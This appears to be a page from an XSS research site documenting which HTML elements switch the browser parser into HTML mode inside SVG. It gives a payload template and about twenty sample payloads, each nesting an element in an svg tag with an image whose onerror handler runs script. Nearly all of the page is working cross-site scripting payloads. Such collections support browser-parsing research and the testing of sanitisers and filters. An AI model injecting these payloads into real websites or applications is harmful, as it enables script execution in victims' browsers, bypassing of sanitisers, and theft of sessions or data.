HTML tags that force HTML mode inside SVG

⚠ Browser differences

This vector shows which HTML elements cause the browser to change to HTML mode.

Shazzer Elite

Created Aug 2, 2024

Updated May 27, 2025

Unable to render tweet button

Detecting browser...

CategoryXML Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

$[data1] placeholderhtml

Template used:

<svg><$[data1]><image src=data: onerror=log('$[data1]')></$[data1]></svg>

Sample payloads

<svg><table><image src=data: onerror=alert('table')></table></svg>

<svg><tt><image src=data: onerror=alert('tt')></tt></svg>

<svg><p><image src=data: onerror=alert('p')></p></svg>

<svg><body><image src=data: onerror=alert('body')></body></svg>

<svg><blockquote><image src=data: onerror=alert('blockquote')></blockquote></svg>

<svg><dt><image src=data: onerror=alert('dt')></dt></svg>

<svg><embed><image src=data: onerror=alert('embed')></embed></svg>

<svg><div><image src=data: onerror=alert('div')></div></svg>

<svg><strong><image src=data: onerror=alert('strong')></strong></svg>

<svg><u><image src=data: onerror=alert('u')></u></svg>

<svg><br><image src=data: onerror=alert('br')></br></svg>

<svg><strike><image src=data: onerror=alert('strike')></strike></svg>

<svg><sub><image src=data: onerror=alert('sub')></sub></svg>

<svg><b><image src=data: onerror=alert('b')></b></svg>

<svg><h1><image src=data: onerror=alert('h1')></h1></svg>

<svg><code><image src=data: onerror=alert('code')></code></svg>

<svg><var><image src=data: onerror=alert('var')></var></svg>

<svg><nobr><image src=data: onerror=alert('nobr')></nobr></svg>

<svg><s><image src=data: onerror=alert('s')></s></svg>

<svg><span><image src=data: onerror=alert('span')></span></svg>